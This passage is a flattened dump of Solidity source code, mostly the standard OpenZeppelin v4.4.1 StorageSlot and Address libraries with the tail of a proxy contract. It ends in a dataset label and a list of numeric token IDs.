_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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26557,
8095,
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2000,
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2000,
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1006,
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1014,
1007,
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1010,
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2850,
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1006,
1007,
1007,
6942,
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2553,
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1006,
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1012,
1022,
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1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3075,
2005,
3752,
1998,
3015,
10968,
4127,
2000,
3563,
5527,
19832,
102
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|
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